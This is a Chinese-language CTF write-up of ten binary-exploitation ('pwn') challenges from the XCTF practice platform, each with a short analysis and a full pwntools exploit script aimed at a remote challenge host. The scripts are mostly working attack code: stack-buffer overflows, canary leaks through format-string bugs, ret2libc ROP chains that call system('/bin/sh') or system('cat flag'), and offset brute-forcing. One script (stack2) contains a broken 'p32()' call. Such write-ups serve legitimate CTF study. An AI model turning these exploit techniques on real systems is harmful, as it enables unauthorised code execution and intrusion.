攻防世界PWN刷题1

1. dice_game

XCTF 4th-QCTF-2018

IDA打开程序分析,发现是一个随机数的小游戏

在这个地方存在溢出,可以把seed给覆盖掉,把seed覆盖为0,然后自己写个程序看随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>

int main()
{
srand(0);

for(int i =0; i < 50; i ++)
{
int tmp = rand() % 6 + 1;
printf("%d, ", tmp);
}

return 0;
}

然后写EXP即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level = "debug"
# io = process("dice_game")
io = remote("111.200.241.244", 53975)

payload = b'A'* 55
payload = payload.ljust(0x48, b'\x00')

number = [2, 5, 4, 2, 6, 2, 5, 1, 4, 2, 3, 2, 3, 2, 6, 5, 1, 1, 5, 5, 6, 3, 4, 4, 3, 3, 3, 2, 2, 2, 6, 1, 1, 1, 6, 4, 2, 5, 2, 5, 4, 4, 4, 6, 3, 2, 3, 3, 6, 1]

io.sendafter("name: ", payload)

for i in range(50):
io.sendlineafter("6): ", str(number[i]).encode())

io.recvuntil("\n")
flag = io.recv()
log.info("flag: %s" % flag)

2. forgot

backdoorctf-2015

IDA打开分析,程序存在后门,地址是0x80486CC的位置,只需要让程序最终执行这个函数就OK了

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.log_level = "debug"
# io = process("d033ab68b3e64913a1b6b1029ef3dc29")
io = remote('111.200.241.244', 56237)

io.sendlineafter("> ", b'123')
payload = b'A'*32
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)
payload += p32(0x80486CC)

payload += b'A' * (32 - 4)
payload += p32(1)

io.sendlineafter("> ", payload)
io.recv()

3. Mary_Morton

ASIS-CTF-Finals-2017

IDA打开程序分析,发现即存在栈溢出漏洞,也存在格式化字符串漏洞,所以用格式化字符串漏洞泄露canary,然后再利用缓冲区溢出调用后门获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
# io = process("./22e2d7579d2d4359a5a1735edddef631")
io = remote('111.200.241.244', 62874)

io.sendlineafter(b"battle \n", b'2')
io.send(b"%23$p")
canary = int(io.recvuntil("battle \n")[:18], 16)
log.info("leak_canary: 0x%x" % canary)

backdoor = 0x04008DA
io.sendline(b'1')
ret_addr = 0x4008EA
payload = b'A' * 136 + p64(canary) + b'A'*8 + p64(ret_addr) + p64(backdoor) # 加ret是为了对齐
io.send(payload)
io.recvuntil('\n')
flag = io.recv()
log.info("flag: {}". format(flag))

4. stack2

XCTF 4th-QCTF-2018

IDA打开程序分析,这个地方存在泄露,可以将返回地址覆盖掉

本来是把返回地址覆盖为hackhere函数,但是pwn的时候,系统显示找不到bash。。。然后又利用puts函数打印出puts的地址和__libc_start_main的地址去libc-database搜,但是搜不到对应的libc,又想在栈上构造/bin/sh,但是无法泄露出栈的地址,,,无奈之下,看了别人的WP,原来执行system(sh)也可以,不用加路径。。。。EXP为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

# io = process('3fb1a42837be485aae7d85d11fbc457b')\
io = remote("111.200.241.244", 50279)

# context.log_level = "debug"
backdoor = 0x804859B
backdoor_addr_bytes = p32(backdoor)

io.sendlineafter("you have:\n", b'0')

def auto_send(data, _offset=132): # 132 is return address
for i in range(len(data)):
io.sendlineafter('exit\n', b'3')
io.sendlineafter('number to change:\n', str(_offset+i).encode())
io.sendlineafter('new number:\n', str(data[i]).encode())

sh_addr = 0x8048987
system_addr = 0x8048450

payload = p32()+ b'A' * 4 + p32(sh_addr)


auto_send(payload)

io.sendlineafter('exit\n', b'5')
io.interactive()

5. pwn-100

L-CTF-2016

泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from binascii import *


io = process("bee9f73f50d2487e911da791273ae5a3")
io = remote("111.200.241.244", 61302)
elf = ELF("bee9f73f50d2487e911da791273ae5a3")

pop_rdi_addr = 0x00400763

context.log_level = "debug"
payload = b'A' * 72 + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(pop_rdi_addr) + p64(elf.got['setbuf']) + p64(elf.plt['puts'])
payload += p64(pop_rdi_addr) + p64(elf.got['read']) + p64(elf.plt['puts'])
payload += p64(pop_rdi_addr) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts'])

payload = payload.ljust(200, b'A')

io.send(payload)
io.recvuntil("bye~\n")

res = io.recvline(6)
log.info("puts: %s" % hexlify(res[::-1][1:]))

res = io.recvline(6)
log.info("setbuf: %s" % hexlify(res[::-1][1:]))

res = io.recvline(6)
log.info("read: %s" % hexlify(res[::-1][1:]))

res = io.recvline(6)
log.info("__libc_start_main: %s" % hexlify(res[::-1][1:]))

然后去libc-database查询libc

exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from binascii import *


# io = process("bee9f73f50d2487e911da791273ae5a3")
io = remote("111.200.241.244", 61302)
elf = ELF("bee9f73f50d2487e911da791273ae5a3")

pop_rdi_addr = 0x00400763
puts_offset = 0x6f690
str_bin_sh_offset = 0x18cd57
system_offset = 0x45390
read200func_addr = 0x040068E


context.log_level = "debug"
payload = b'A' * 72 + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(read200func_addr)
payload = payload.ljust(200, b'A')

io.send(payload)
io.recvuntil("bye~\n")
puts_addr = u64(io.recvline()[:-1].ljust(8, b'\x00'))
log.info("puts : %s" % hex(puts_addr))

libc_base = puts_addr - puts_offset
payload = b'A' * 72 + p64(pop_rdi_addr) + p64(libc_base + str_bin_sh_offset) + p64(libc_base + system_offset)
payload = payload.ljust(200, b'A')

io.send(payload)
io.recvuntil("bye~\n")

io.interactive()

6. warmup

csaw-ctf-2016-quals

题目没有附件,先nc看看

程序输出了一个地址,因为是0X400000 + 0X60D猜测这是get_shell或输出flag的地址,然后让咱们输入,输入格式化字符串的数据并没有什么效果,猜测是栈溢出,然后写脚本爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

addr = 0x40060d
def pwn():
for i in range(0, 100):
payload = b'A' * i + p64(addr)
try:
io = remote("111.200.241.244", 51136)
io.sendlineafter(">", payload)
# sleep(0.1)
c = io.recv()
log.info("{}: Info: {}".format(i, c))
continue
except EOFError as e:
log.info("badsize: %d" % i)
io.close()

pwn()

7. 反应釜开关控制

XCTF 4th-CyberEarth

下载附件,IDA查看就是普通的栈溢出,溢出3次,即可getshell,或者第一次溢出就改为get shell的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

io = process("./ad72d90fbd4746ac8ea80041a1f661c2")
io = remote("111.200.241.244", 51643)
io.recvuntil("witch is:")
easy_addr = int(io.recvuntil("\n").decode(), 16)
log.info("easy addr: 0x%x" % easy_addr)

payload1 = b'A' * 520 + p64(easy_addr)
io.sendline(payload1)

io.recvuntil("witch is:")
normal_addr = int(io.recvuntil("\n").decode(), 16)
log.info("normal addr: 0x%x" % normal_addr)

payload2 = b'A' * 392 + p64(normal_addr)
io.sendline(payload2)

io.recvuntil("witch is:")
shell_addr = int(io.recvuntil("\n").decode(), 16)
log.info("shell addr: 0x%x" % shell_addr)

payload3 = b'A'* 264 + p64(shell_addr)
io.sendline(payload3)

io.interactive()

8. 实时数据监测

IDA打开分析,格式化字符串漏洞,直接用fmtstr_payload 构造payload即可

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

key_address = 0x0804A048
value = 0x2223322


# io = process("9926c1a194794984978011fc619e3301")
io = remote('111.200.241.244', 62045)
payload = fmtstr_payload(12, {key_address: value})

io.send(payload)
io.interactive()

9. welpwn

RCTF-2015

IDA打开程序分析

这个位置存在栈溢出漏洞,但是会被\0截断,在strcmp那里下断点,即让它复制完之后下断点,观察栈的数据,发现截断后的数据紧跟着原始数据

这样就可以构造ROP链泄露出puts的地址,进而搜到libc的地址,然后再找到system的地址就OK了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

elf = ELF("81f42c219e81421ebfd1bedd19cf7eff")
# io = process("81f42c219e81421ebfd1bedd19cf7eff")
# io =remote("111.200.241.244" ,64634)
# io = remote('127.0.0.1', 10001)

io = remote("111.200.241.244", 62546)
context.log_level = "debug"

c = io.recv()

pop_rdi_addr = 0x04008a3
pop_r13_r14_r15_addr = 0x040089e

payload = b'A' * 24
payload += p64(pop_r13_r14_r15_addr)
payload += b'A' * 24
payload += p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) # shellcode start
payload += p64(pop_rdi_addr) + p64(elf.got['write']) + p64(elf.plt['puts'])
payload += p64(pop_rdi_addr) + p64(elf.got['read']) + p64(elf.plt['puts'])
payload += p64(0x0004007CD) # func main


io.sendline(payload)

io.recvuntil(b"\x40")
puts_addr_byte = u64(io.recvline(6)[:-1].ljust(8, b'\x00'))
log.info("puts_addr: %s" % hex(puts_addr_byte))

write_addr_byte = u64(io.recvline(6)[:-1].ljust(8, b'\x00'))
log.info("write_addr: %s" % hex(write_addr_byte))

read_addr_byte = u64(io.recvline(6)[:-1].ljust(8, b'\x00'))
log.info("read_addr: %s" % hex(read_addr_byte))

libc_base = write_addr_byte - 0xf72b0
ret_addr = 0x00004007CC
log.info("libc_base: %s" % hex(libc_base))
system_address = libc_base + 0x45390
str_bin_sh_address = libc_base + 0x18cd57
payload2 = b'A' * 24
payload2 += p64(pop_r13_r14_r15_addr)
payload2 += b'A' * 24
payload2 += p64(ret_addr)
payload2 += p64(pop_rdi_addr) + p64(str_bin_sh_address)
payload2 += p64(system_address)


io.sendline(payload2)
io.interactive()

这里有个地方要注意一下

在构造ROP链的时候直接打印puts,write,read函数地址,然后如果下面没有stop gadget的话,在下面ecv()的时候,如果是process就可以接收到,但是remote就EOF了,如果在构造ROP链的时候在 p64(pop_rdi_addr) + p64(elf.got[‘puts’]) + p64(elf.plt[‘puts’]) 之后加一个stop gadgets,这样就可以了,估计是没加stop_gadgets,还没有recv,程序就挂了, 比如下面这种代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

elf = ELF("81f42c219e81421ebfd1bedd19cf7eff")
io = remote('127.0.0.1', 10001)
context.log_level = "debug"

c = io.recv()

pop_rdi_addr = 0x04008a3
pop_r13_r14_r15_addr = 0x040089e

payload = b'A' * 24
payload += p64(pop_r13_r14_r15_addr)
payload += b'A' * 24
payload += p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) # shellcode start

payload += p64(pop_rdi_addr) + p64(elf.got['write']) + p64(elf.plt['puts'])
payload += p64(pop_rdi_addr) + p64(elf.got['read']) + p64(elf.plt['puts'])
# payload += p64(0x004007CD) 如果没有这一行的话会出错,0x4007CD是main函数的地址
io.sendline(payload)
io.recv()

10. pwn1

厦门邀请赛

IDA打开分析

存在栈溢出漏洞,但是程序开了栈保护,所以得首先泄露出canary

由于程序是输入2是打印,所以可以输入足够长的数据一直到正好不覆盖canary,然后输入1,将cannary顺带这打印出来,就达到了泄露canary的目的,

这样就可以构造ROP链打印puts函数地址然后再返回main函数,打印puts函数地址是为了获取libc的基地址,进而获得system函数的地址,重新回到main函数这里是为了再次输入构造ROP链执行system(“bin/sh”),但是执行system(“bin/sh”)的时候有问题,服务器总是提示错误,于是我将bin/sh的地址换成了ls的地址,可以打印出目录下的文件,所以还需要调用read函数。输入’cat flag’, 然后执行system(‘cat flag’)

cat flag字符串把它存在0x601000的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

elf = ELF("babystack")

# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# io = process("babystack")

libc = ELF("libc-2.23.so")
io = remote("111.200.241.244", 56538)

context.log_level = "debug"
pop_rdi_addr = 0x0400a93
pop_rsi_r15_addr = 0x0400a91
main_addr = 0x0400908

payload = b"A" * 136
io.sendafter(b">> ", b'1')
io.sendline(payload)
io.sendafter(b">> ", b'2')
io.recvuntil(b"\n")
cnanry_byte = io.recv(7)
canary = u64(cnanry_byte.rjust(8, b'\x00'))
log.info("canary : 0x%x" % canary)
io.sendafter(b">> ", b'1')

cat_flag_addr = 0x000000601000
payload = b'A' * 136 + p64(canary) +p64(0)
payload += p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(pop_rdi_addr) + p64(0) # rdi = 0
payload += p64(pop_rsi_r15_addr) +p64(cat_flag_addr) + p64(0) # rsi = 0x00000601000
payload += p64(elf.plt['read']) # read(0, rsi, ?) #
payload += p64(main_addr) # 重新回到main函数,为了 执行system("cat flag")

io.send(payload)
io.sendafter(b">> ", b'3')

puts_address = u64(io.recv(6).ljust(8, b'\x00'))
log.info("puts_address: %s" % hex(puts_address))
libc_base = puts_address - libc.symbols['puts']
log.info("libc_base: %s" % hex(libc_base))

io.send(b'cat flag') #read函数的时候,输入cat flag

io.sendafter(b">> ", b'1')


system_addr = libc_base + libc.symbols['system']

payload = b"A" * 136 + p64(canary) +p64(0)
payload += p64(0x400A2A)# ret
payload += p64(pop_rdi_addr) + p64(cat_flag_addr) + p64(system_addr)


io.send(payload)
io.sendafter(b">> ", b'3')
io.recv()